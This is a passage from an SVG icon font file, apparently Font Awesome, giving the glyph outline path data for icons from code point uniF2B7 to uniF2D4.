q-186 134 -343 250q-11 8 -24 6.5t-21 -12.5l-38 -52q-8 -11 -6.5 -23.5t12.5 -20.5q82 -61 345 -252q10 -8 50 -38t65 -47t64 -39.5t77.5 -33.5t75.5 -11t75.5 11t79 34.5t64.5 39.5t65 47.5t48 36.5z" />
    <glyph glyph-name="uniF2B7" unicode="&#xf2b7;" horiz-adv-x="1792" 
d="M1474 623l39 -51q8 -11 6.5 -23.5t-11.5 -20.5q-43 -34 -126.5 -98.5t-146.5 -113t-67 -51.5q-39 -32 -60 -48t-60.5 -41t-76.5 -36.5t-74 -11.5h-1h-1q-37 0 -74 11.5t-76 36.5t-61 41.5t-60 47.5q-5 4 -65 50.5t-143.5 111t-122.5 94.5q-11 8 -12.5 20.5t6.5 23.5
l37 52q8 11 21.5 13t24.5 -7q94 -73 306 -236q5 -4 43.5 -35t60.5 -46.5t56.5 -32.5t58.5 -17h1h1q24 0 58.5 17t56.5 32.5t60.5 46.5t43.5 35q258 198 313 242q11 8 24 6.5t21 -12.5zM1664 -96v928q-90 83 -159 139q-91 74 -389 304q-3 2 -43 35t-61 48t-56 32.5t-59 17.5
h-1h-1q-24 0 -59 -17.5t-56 -32.5t-61 -48t-43 -35q-215 -166 -315.5 -245.5t-129.5 -104t-82 -74.5q-14 -12 -21 -19v-928q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 832v-928q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v928q0 56 41 94
q123 114 350 290.5t233 181.5q36 30 59 47.5t61.5 42t76 36.5t74.5 12h1h1q37 0 74.5 -12t76 -36.5t61.5 -42t59 -47.5q43 -36 156 -122t226 -177t201 -173q41 -38 41 -94z" />
    <glyph glyph-name="uniF2B8" unicode="&#xf2b8;" 
d="M330 1l202 -214l-34 236l-216 213zM556 -225l274 218l-11 245l-300 -215zM245 413l227 -213l-48 327l-245 204zM495 189l317 214l-14 324l-352 -200zM843 178l95 -80l-2 239l-103 79q0 -1 1 -8.5t0 -12t-5 -7.5l-78 -52l85 -70q7 -6 7 -88zM138 930l256 -200l-68 465
l-279 173zM1173 267l15 234l-230 -164l2 -240zM417 722l373 194l-19 441l-423 -163zM1270 357l20 233l-226 142l-2 -105l144 -95q6 -4 4 -9l-7 -119zM1461 496l30 222l-179 -128l-20 -228zM1273 329l-71 49l-8 -117q0 -5 -4 -8l-234 -187q-7 -5 -14 0l-98 83l7 -161
q0 -5 -4 -8l-293 -234q-4 -2 -6 -2q-8 2 -8 3l-228 242q-4 4 -59 277q-2 7 5 11l61 37q-94 86 -95 92l-72 351q-2 7 6 12l94 45q-133 100 -135 108l-96 466q-2 10 7 13l433 135q5 0 8 -1l317 -153q6 -4 6 -9l20 -463q0 -7 -6 -10l-118 -61l126 -85q5 -2 5 -8l5 -123l121 74
q5 4 11 0l84 -56l3 110q0 6 5 9l206 126q6 3 11 0l245 -135q4 -4 5 -7t-6.5 -60t-17.5 -124.5t-10 -70.5q0 -5 -4 -7l-191 -153q-6 -5 -13 0z" />
    <glyph glyph-name="uniF2B9" unicode="&#xf2b9;" horiz-adv-x="1664" 
d="M1201 298q0 57 -5.5 107t-21 100.5t-39.5 86t-64 58t-91 22.5q-6 -4 -33.5 -20.5t-42.5 -24.5t-40.5 -20t-49 -17t-46.5 -5t-46.5 5t-49 17t-40.5 20t-42.5 24.5t-33.5 20.5q-51 0 -91 -22.5t-64 -58t-39.5 -86t-21 -100.5t-5.5 -107q0 -73 42 -121.5t103 -48.5h576
q61 0 103 48.5t42 121.5zM1028 892q0 108 -76.5 184t-183.5 76t-183.5 -76t-76.5 -184q0 -107 76.5 -183t183.5 -76t183.5 76t76.5 183zM1664 352v-192q0 -14 -9 -23t-23 -9h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216
q66 0 113 -47t47 -113v-224h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23z" />
    <glyph glyph-name="uniF2BA" unicode="&#xf2ba;" horiz-adv-x="1664" 
d="M1028 892q0 -107 -76.5 -183t-183.5 -76t-183.5 76t-76.5 183q0 108 76.5 184t183.5 76t183.5 -76t76.5 -184zM980 672q46 0 82.5 -17t60 -47.5t39.5 -67t24 -81t11.5 -82.5t3.5 -79q0 -67 -39.5 -118.5t-105.5 -51.5h-576q-66 0 -105.5 51.5t-39.5 118.5q0 48 4.5 93.5
t18.5 98.5t36.5 91.5t63 64.5t93.5 26h5q7 -4 32 -19.5t35.5 -21t33 -17t37 -16t35 -9t39.5 -4.5t39.5 4.5t35 9t37 16t33 17t35.5 21t32 19.5zM1664 928q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96
q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216q66 0 113 -47t47 -113v-224h96q13 0 22.5 -9.5t9.5 -22.5v-192zM1408 -96v1472q0 13 -9.5 22.5t-22.5 9.5h-1216
q-13 0 -22.5 -9.5t-9.5 -22.5v-1472q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5z" />
    <glyph glyph-name="uniF2BB" unicode="&#xf2bb;" horiz-adv-x="2048" 
d="M1024 405q0 64 -9 117.5t-29.5 103t-60.5 78t-97 28.5q-6 -4 -30 -18t-37.5 -21.5t-35.5 -17.5t-43 -14.5t-42 -4.5t-42 4.5t-43 14.5t-35.5 17.5t-37.5 21.5t-30 18q-57 0 -97 -28.5t-60.5 -78t-29.5 -103t-9 -117.5t37 -106.5t91 -42.5h512q54 0 91 42.5t37 106.5z
M867 925q0 94 -66.5 160.5t-160.5 66.5t-160.5 -66.5t-66.5 -160.5t66.5 -160.5t160.5 -66.5t160.5 66.5t66.5 160.5zM1792 416v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1792 676v56q0 15 -10.5 25.5t-25.5 10.5h-568
q-15 0 -25.5 -10.5t-10.5 -25.5v-56q0 -15 10.5 -25.5t25.5 -10.5h568q15 0 25.5 10.5t10.5 25.5zM1792 928v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-352v96q0 14 -9 23t-23 9
h-64q-14 0 -23 -9t-9 -23v-96h-768v96q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-96h-352q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2BC" unicode="&#xf2bc;" horiz-adv-x="2048" 
d="M1024 405q0 -64 -37 -106.5t-91 -42.5h-512q-54 0 -91 42.5t-37 106.5t9 117.5t29.5 103t60.5 78t97 28.5q6 -4 30 -18t37.5 -21.5t35.5 -17.5t43 -14.5t42 -4.5t42 4.5t43 14.5t35.5 17.5t37.5 21.5t30 18q57 0 97 -28.5t60.5 -78t29.5 -103t9 -117.5zM867 925
q0 -94 -66.5 -160.5t-160.5 -66.5t-160.5 66.5t-66.5 160.5t66.5 160.5t160.5 66.5t160.5 -66.5t66.5 -160.5zM1792 480v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1792 732v-56q0 -15 -10.5 -25.5t-25.5 -10.5h-568
q-15 0 -25.5 10.5t-10.5 25.5v56q0 15 10.5 25.5t25.5 10.5h568q15 0 25.5 -10.5t10.5 -25.5zM1792 992v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1920 32v1216q0 13 -9.5 22.5t-22.5 9.5h-1728q-13 0 -22.5 -9.5
t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h352v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h768v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h352q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113
t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2BD" unicode="&#xf2bd;" horiz-adv-x="1792" 
d="M1523 197q-22 155 -87.5 257.5t-184.5 118.5q-67 -74 -159.5 -115.5t-195.5 -41.5t-195.5 41.5t-159.5 115.5q-119 -16 -184.5 -118.5t-87.5 -257.5q106 -150 271 -237.5t356 -87.5t356 87.5t271 237.5zM1280 896q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5
t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1792 640q0 -182 -71 -347.5t-190.5 -286t-285.5 -191.5t-349 -71q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2BE" unicode="&#xf2be;" horiz-adv-x="1792" 
d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348q0 -181 -70.5 -347t-190.5 -286t-286 -191.5t-349 -71.5t-349 71t-285.5 191.5t-190.5 286t-71 347.5t71 348t191 286t286 191t348 71zM1515 185q149 205 149 455q0 156 -61 298t-164 245t-245 164t-298 61t-298 -61
t-245 -164t-164 -245t-61 -298q0 -250 149 -455q66 327 306 327q131 -128 313 -128t313 128q240 0 306 -327zM1280 832q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5z" />
    <glyph glyph-name="uniF2C0" unicode="&#xf2c0;" 
d="M1201 752q47 -14 89.5 -38t89 -73t79.5 -115.5t55 -172t22 -236.5q0 -154 -100 -263.5t-241 -109.5h-854q-141 0 -241 109.5t-100 263.5q0 131 22 236.5t55 172t79.5 115.5t89 73t89.5 38q-79 125 -79 272q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5
t198.5 -40.5t163.5 -109.5t109.5 -163.5t40.5 -198.5q0 -147 -79 -272zM768 1408q-159 0 -271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5zM1195 -128q88 0 150.5 71.5t62.5 173.5q0 239 -78.5 377t-225.5 145
q-145 -127 -336 -127t-336 127q-147 -7 -225.5 -145t-78.5 -377q0 -102 62.5 -173.5t150.5 -71.5h854z" />
    <glyph glyph-name="uniF2C1" unicode="&#xf2c1;" horiz-adv-x="1280" 
d="M1024 278q0 -64 -37 -107t-91 -43h-512q-54 0 -91 43t-37 107t9 118t29.5 104t61 78.5t96.5 28.5q80 -75 188 -75t188 75q56 0 96.5 -28.5t61 -78.5t29.5 -104t9 -118zM870 797q0 -94 -67.5 -160.5t-162.5 -66.5t-162.5 66.5t-67.5 160.5t67.5 160.5t162.5 66.5
t162.5 -66.5t67.5 -160.5zM1152 -96v1376h-1024v-1376q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1280 1376v-1472q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h352v-96q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v96h352
q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C2" unicode="&#xf2c2;" horiz-adv-x="2048" 
d="M896 324q0 54 -7.5 100.5t-24.5 90t-51 68.5t-81 25q-64 -64 -156 -64t-156 64q-47 0 -81 -25t-51 -68.5t-24.5 -90t-7.5 -100.5q0 -55 31.5 -93.5t75.5 -38.5h426q44 0 75.5 38.5t31.5 93.5zM768 768q0 80 -56 136t-136 56t-136 -56t-56 -136t56 -136t136 -56t136 56
t56 136zM1792 288v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1408 544v64q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1792 544v64q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23
v-64q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1792 800v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM128 1152h1792v96q0 14 -9 23t-23 9h-1728q-14 0 -23 -9t-9 -23v-96zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728
q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C3" unicode="&#xf2c3;" horiz-adv-x="2048" 
d="M896 324q0 -55 -31.5 -93.5t-75.5 -38.5h-426q-44 0 -75.5 38.5t-31.5 93.5q0 54 7.5 100.5t24.5 90t51 68.5t81 25q64 -64 156 -64t156 64q47 0 81 -25t51 -68.5t24.5 -90t7.5 -100.5zM768 768q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z
M1792 352v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1408 608v-64q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h320q14 0 23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v64
q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 864v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1920 32v1120h-1792v-1120q0 -13 9.5 -22.5t22.5 -9.5h1728q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47
h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C4" unicode="&#xf2c4;" horiz-adv-x="1792" 
d="M1255 749q0 318 -105 474.5t-330 156.5q-222 0 -326 -157t-104 -474q0 -316 104 -471.5t326 -155.5q74 0 131 17q-22 43 -39 73t-44 65t-53.5 56.5t-63 36t-77.5 14.5q-46 0 -79 -16l-49 97q105 91 276 91q132 0 215.5 -54t150.5 -155q67 149 67 402zM1645 117h117
q3 -27 -2 -67t-26.5 -95t-58 -100.5t-107 -78t-162.5 -32.5q-71 0 -130.5 19t-105.5 56t-79 78t-66 96q-97 -27 -205 -27q-150 0 -292.5 58t-253 158.5t-178 249t-67.5 317.5q0 170 67.5 319.5t178.5 250.5t253.5 159t291.5 58q121 0 238.5 -36t217 -106t176 -164.5
t119.5 -219t43 -261.5q0 -190 -80.5 -347.5t-218.5 -264.5q47 -70 93.5 -106.5t104.5 -36.5q61 0 94 37.5t38 85.5z" />
    <glyph glyph-name="uniF2C5" unicode="&#xf2c5;" horiz-adv-x="2304" 
d="M453 -101q0 -21 -16 -37.5t-37 -16.5q-1 0 -13 3q-63 15 -162 140q-225 284 -225 676q0 341 213 614q39 51 95 103.5t94 52.5q19 0 35 -13.5t16 -32.5q0 -27 -63 -90q-98 -102 -147 -184q-119 -199 -119 -449q0 -281 123 -491q50 -85 136 -173q2 -3 14.5 -16t19.5 -21
t17 -20.5t14.5 -23.5t4.5 -21zM1796 33q0 -29 -17.5 -48.5t-46.5 -19.5h-1081q-26 0 -45 19t-19 45q0 29 17.5 48.5t46.5 19.5h1081q26 0 45 -19t19 -45zM1581 644q0 -134 -67 -233q-25 -38 -69.5 -78.5t-83.5 -60.5q-16 -10 -27 -10q-7 0 -15 6t-8 12q0 9 19 30t42 46
t42 67.5t19 88.5q0 76 -35 130q-29 42 -46 42q-3 0 -3 -5q0 -12 7.5 -35.5t7.5 -36.5q0 -22 -21.5 -35t-44.5 -13q-66 0 -66 76q0 15 1.5 44t1.5 44q0 25 -10 46q-13 25 -42 53.5t-51 28.5q-5 0 -7 -0.5t-3.5 -2.5t-1.5 -6q0 -2 16 -26t16 -54q0 -37 -19 -68t-46 -54
t-53.5 -46t-45.5 -54t-19 -68q0 -98 42 -160q29 -43 79 -63q16 -5 17 -10q1 -2 1 -5q0 -16 -18 -16q-6 0 -33 11q-119 43 -195 139.5t-76 218.5q0 55 24.5 115.5t60 115t70.5 108.5t59.5 113.5t24.5 111.5q0 53 -25 94q-29 48 -56 64q-19 9 -19 21q0 20 41 20q50 0 110 -29
q41 -19 71 -44.5t49.5 -51t33.5 -62.5t22 -69t16 -80q0 -1 3 -17.5t4.5 -25t5.5 -25t9 -27t11 -21.5t14.5 -16.5t18.5 -5.5q23 0 37 14t14 37q0 25 -20 67t-20 52t10 10q27 0 93 -70q72 -76 102.5 -156t30.5 -186zM2304 615q0 -274 -138 -503q-19 -32 -48 -72t-68 -86.5
t-81 -77t-74 -30.5q-16 0 -31 15.5t-15 31.5q0 15 29 50.5t68.5 77t48.5 52.5q183 230 183 531q0 131 -20.5 235t-72.5 211q-58 119 -163 228q-2 3 -13 13.5t-16.5 16.5t-15 17.5t-15 20t-9.5 18.5t-4 19q0 19 16 35.5t35 16.5q70 0 196 -169q98 -131 146 -273t60 -314
q2 -42 2 -64z" />
    <glyph glyph-name="uniF2C6" unicode="&#xf2c6;" horiz-adv-x="1792" 
d="M1189 229l147 693q9 44 -10.5 63t-51.5 7l-864 -333q-29 -11 -39.5 -25t-2.5 -26.5t32 -19.5l221 -69l513 323q21 14 32 6q7 -5 -4 -15l-415 -375v0v0l-16 -228q23 0 45 22l108 104l224 -165q64 -36 81 38zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2C7" unicode="&#xf2c7;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v907h128v-907q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2C8" unicode="&#xf2c8;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v651h128v-651q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2C9" unicode="&#xf2c9;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v395h128v-395q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2CA" unicode="&#xf2ca;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v139h128v-139q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2CB" unicode="&#xf2cb;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 79 56 135.5t136 56.5t136 -56.5t56 -135.5zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5t93.5 226.5z
M896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192v128h192z" />
    <glyph glyph-name="uniF2CC" unicode="&#xf2cc;" horiz-adv-x="1920" 
d="M1433 1287q10 -10 10 -23t-10 -23l-626 -626q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l44 44q-72 91 -81.5 207t46.5 215q-74 71 -176 71q-106 0 -181 -75t-75 -181v-1280h-256v1280q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5q106 0 201 -41
t166 -115q94 39 197 24.5t185 -79.5l44 44q10 10 23 10t23 -10zM1344 1024q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1600 896q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1856 1024q26 0 45 -19t19 -45t-19 -45t-45 -19
t-45 19t-19 45t19 45t45 19zM1216 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1408 832q0 26 19 45t45 19t45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45zM1728 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 768
q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 640q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1600 768q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 512q-26 0 -45 19t-19 45t19 45t45 19t45 -19
t19 -45t-19 -45t-45 -19zM1472 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 384
q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 256q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19z" />
    <glyph glyph-name="uniF2CD" unicode="&#xf2cd;" horiz-adv-x="1792" 
d="M1664 448v-192q0 -169 -128 -286v-194q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v118q-63 -22 -128 -22h-768q-65 0 -128 22v-110q0 -17 -9.5 -28.5t-22.5 -11.5h-64q-13 0 -22.5 11.5t-9.5 28.5v186q-128 117 -128 286v192h1536zM704 864q0 -14 -9 -23t-23 -9t-23 9
t-9 23t9 23t23 9t23 -9t9 -23zM768 928q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM704 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1056q0 -14 -9 -23t-23 -9t-23 9
t-9 23t9 23t23 9t23 -9t9 -23zM704 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v640q0 106 75 181t181 75q108 0 184 -78q46 19 98 12t93 -39l22 22q11 11 22 0l42 -42
q11 -11 0 -22l-314 -314q-11 -11 -22 0l-42 42q-11 11 0 22l22 22q-36 46 -40.5 104t23.5 108q-37 35 -88 35q-53 0 -90.5 -37.5t-37.5 -90.5v-640h1504q14 0 23 -9t9 -23zM896 1056q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1120q0 -14 -9 -23t-23 -9
t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM896 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1248q0 -14 -9 -23
t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1024 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1088 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23z" />
    <glyph glyph-name="uniF2CE" unicode="&#xf2ce;" 
d="M994 344q0 -86 -17 -197q-31 -215 -55 -313q-22 -90 -152 -90t-152 90q-24 98 -55 313q-17 110 -17 197q0 168 224 168t224 -168zM1536 768q0 -240 -134 -434t-350 -280q-8 -3 -15 3t-6 15q7 48 10 66q4 32 6 47q1 9 9 12q159 81 255.5 234t96.5 337q0 180 -91 330.5
t-247 234.5t-337 74q-124 -7 -237 -61t-193.5 -140.5t-128 -202t-46.5 -240.5q1 -184 99 -336.5t257 -231.5q7 -3 9 -12q3 -21 6 -45q1 -9 5 -32.5t6 -35.5q1 -9 -6.5 -15t-15.5 -2q-148 58 -261 169.5t-173.5 264t-52.5 319.5q7 143 66 273.5t154.5 227t225 157.5t272.5 70
q164 10 315.5 -46.5t261 -160.5t175 -250.5t65.5 -308.5zM994 800q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5zM1282 768q0 -122 -53.5 -228.5t-146.5 -177.5q-8 -6 -16 -2t-10 14q-6 52 -29 92q-7 10 3 20
q58 54 91 127t33 155q0 111 -58.5 204t-157.5 141.5t-212 36.5q-133 -15 -229 -113t-109 -231q-10 -92 23.5 -176t98.5 -144q10 -10 3 -20q-24 -41 -29 -93q-2 -9 -10 -13t-16 2q-95 74 -148.5 183t-51.5 234q3 131 69 244t177 181.5t241 74.5q144 7 268 -60t196.5 -187.5
t72.5 -263.5z" />
    <glyph glyph-name="uniF2D0" unicode="&#xf2d0;" horiz-adv-x="1792" 
d="M256 128h1280v768h-1280v-768zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D1" unicode="&#xf2d1;" horiz-adv-x="1792" 
d="M1792 224v-192q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D2" unicode="&#xf2d2;" horiz-adv-x="2048" 
d="M256 0h768v512h-768v-512zM1280 512h512v768h-768v-256h96q66 0 113 -47t47 -113v-352zM2048 1376v-960q0 -66 -47 -113t-113 -47h-608v-352q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h608v352q0 66 47 113t113 47h960q66 0 113 -47
t47 -113z" />
    <glyph glyph-name="uniF2D3" unicode="&#xf2d3;" horiz-adv-x="1792" 
d="M1175 215l146 146q10 10 10 23t-10 23l-233 233l233 233q10 10 10 23t-10 23l-146 146q-10 10 -23 10t-23 -10l-233 -233l-233 233q-10 10 -23 10t-23 -10l-146 -146q-10 -10 -10 -23t10 -23l233 -233l-233 -233q-10 -10 -10 -23t10 -23l146 -146q10 -10 23 -10t23 10
l233 233l233 -233q10 -10 23 -10t23 10zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D4" unicode="&#xf2d4;" horiz-adv-x="1792" 
